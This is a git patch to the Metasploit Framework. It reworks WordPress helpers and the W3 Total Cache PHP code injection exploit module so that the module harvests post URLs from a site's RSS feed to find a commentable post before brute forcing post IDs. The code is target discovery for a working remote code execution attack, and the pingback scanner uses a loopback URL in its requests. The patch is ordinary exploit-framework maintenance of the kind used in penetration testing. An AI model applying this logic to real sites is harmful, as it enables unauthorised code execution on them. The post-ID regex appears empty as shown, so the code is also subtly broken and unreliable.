From 035258389f8c5fe5e2129e5b2bd376aec6c522de Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Sun, 25 Aug 2013 10:16:43 +0200 Subject: [PATCH] use feed first before trying to bruteforce --- lib/msf/core/exploit/http/client.rb | 13 +++++++ lib/msf/http/wordpress/helpers.rb | 10 +---- lib/msf/http/wordpress/posts.rb | 28 ++++++++++++-- .../scanner/http/wordpress_pingback_access.rb | 2 +- .../unix/webapp/php_wordpress_total_cache.rb | 37 ++++++++++++++----- 5 files changed, 66 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index e18ccfea0f..3112c84965 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -330,6 +330,19 @@ module Exploit::Remote::HttpClient new_str end + # Returns the Path+Query from a full URI String, nil on error + def path_from_uri(uri) + begin + temp = URI(uri) + ret_uri = temp.path + ret_uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty? + return ret_uri + rescue URI::Error + print_error "Invalid URI: #{uri}" + return nil + end + end + # # Returns the target host # diff --git a/lib/msf/http/wordpress/helpers.rb b/lib/msf/http/wordpress/helpers.rb index 3cac603985..db69523f67 100644 --- a/lib/msf/http/wordpress/helpers.rb +++ b/lib/msf/http/wordpress/helpers.rb @@ -116,15 +116,7 @@ module Msf::HTTP::Wordpress::Helpers return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location'] location = res.headers['Location'] - begin - temp = URI(res.headers['Location']) - uri = temp.path - uri << "?#{temp.query}" unless temp.query.nil? or temp.query.empty? - return uri - rescue URI::Error - print_error("#{peer} - Invalid Location Header returned (not an URI): #{location}") - return nil - end + path_from_uri(location) end end diff --git a/lib/msf/http/wordpress/posts.rb b/lib/msf/http/wordpress/posts.rb index 48a9af921a..86af371a90 100644 --- a/lib/msf/http/wordpress/posts.rb +++ b/lib/msf/http/wordpress/posts.rb @@ -52,14 +52,33 @@ module Msf::HTTP::Wordpress::Posts # @param post_id [Integer] The post ID to check # @param login_cookie [String] If set perform the check as an authenticated user # @return [String,nil] the HTTP response body of the post, nil otherwise - def wordpress_post_comments_enabled?(post_id, login_cookie=nil) + def wordpress_post_id_comments_enabled?(post_id, login_cookie=nil) wordpress_helper_check_post_id(wordpress_url_post(post_id), true, login_cookie) end + # Checks if the provided post has comments enabled + # + # @param url [String] The post url + # @param login_cookie [String] If set perform the check as an authenticated user + # @return [String,nil] the HTTP response body of the post, nil otherwise + def wordpress_post_comments_enabled?(url, login_cookie=nil) + wordpress_helper_check_post_id(url, true, login_cookie) + end + + # Gets the post_id from a post body + # + # @param body [String] The body of a post + # @return [String,nil] The post_id, nil when nothing found + def get_post_id_from_body(body) + return nil unless body + body.match(//i)[1] + end + # Tries to get some Blog Posts via the RSS feed # + # @param max_redirects [Integer] maximum redirects to follow # @return [Array,nil] String Array with valid blog posts, nil on error - def wordpress_get_all_blog_posts_via_feed + def wordpress_get_all_blog_posts_via_feed(max_redirects = 10) vprint_status("#{peer} - Enumerating Blog posts...") blog_posts = [] @@ -70,7 +89,7 @@ module Msf::HTTP::Wordpress::Posts 'method' => 'GET' }) - count = datastore['NUM_REDIRECTS'] + count = max_redirects # Follow redirects while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0 @@ -109,7 +128,8 @@ module Msf::HTTP::Wordpress::Posts end links.each do |link| - blog_posts << link[0] + path = path_from_uri(link[0]) + blog_posts << path if path end return blog_posts end diff --git a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb index f1a82d282f..2e02c907c0 100644 --- a/modules/auxiliary/scanner/http/wordpress_pingback_access.rb +++ b/modules/auxiliary/scanner/http/wordpress_pingback_access.rb @@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary def get_blog_posts(xml_rpc, ip) # find all blog posts within IP and determine if pingback is enabled - blog_posts = wordpress_get_all_blog_posts_via_feed + blog_posts = wordpress_get_all_blog_posts_via_feed(datastore['NUM_REDIRECTS']) blog_posts.each do |blog_post| pingback_response = get_pingback_request(xml_rpc, 'http://127.0.0.1', blog_post) if pingback_response diff --git a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb index 402b426e0c..51eb58bb11 100644 --- a/modules/exploits/unix/webapp/php_wordpress_total_cache.rb +++ b/modules/exploits/unix/webapp/php_wordpress_total_cache.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote is also reported as vulnerable. The vulnerability is due to the handling of certain macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is needed in order to add the malicious comment. If the POSTID option isn't specified, - then the module will automatically bruteforce one. Also, if anonymous comments + then the module will automatically find or bruteforce one. Also, if anonymous comments aren't allowed, then a valid username and password must be provided. In addition, the "A comment is held for moderation" option on Wordpress must be unchecked for successful exploitation. This module has been tested against Wordpress 3.5 and @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit unless wordpress_and_online? - fail_with(Failure::NoTarget, "#{peer} does not seeem to be Wordpress site") + fail_with(Failure::NoTarget, "#{target_uri} does not seeem to be Wordpress site") end @auth = require_auth? @@ -117,14 +117,31 @@ class Metasploit3 < Msf::Exploit::Remote @post_id = datastore['POSTID'] print_status("#{peer} - Using the user supplied POST ID #{@post_id}...") else - print_status("#{peer} - Trying to brute force a valid POST ID...") - min_post_id = datastore['MIN_POST_ID'] - max_post_id = datastore['MAX_POST_ID'] - @post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie) - if @post_id.nil? - fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") - else - print_status("#{peer} - Using the brute forced POST ID #{@post_id}...") + print_status("#{peer} - Trying to get posts from feed...") + all_posts = wordpress_get_all_blog_posts_via_feed + # First try all blog posts provided by feed + if all_posts + all_posts.each do |p| + vprint_status("#{peer} - Checking #{p}...") + enabled = wordpress_post_comments_enabled?(p, @cookie) + @post_id = get_post_id_from_body(enabled) + if @post_id + print_status("#{peer} - Found Post POST ID #{@post_id}...") + break + end + end + end + # if nothing found, bruteforce a post id + unless @post_id + print_status("#{peer} - Nothing found. Trying to brute force a valid POST ID...") + min_post_id = datastore['MIN_POST_ID'] + max_post_id = datastore['MAX_POST_ID'] + @post_id = wordpress_bruteforce_valid_post_id_with_comments_enabled(min_post_id, max_post_id, @cookie) + if @post_id.nil? + fail_with(Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment") + else + print_status("#{peer} - Using the brute forced POST ID #{@post_id}...") + end end end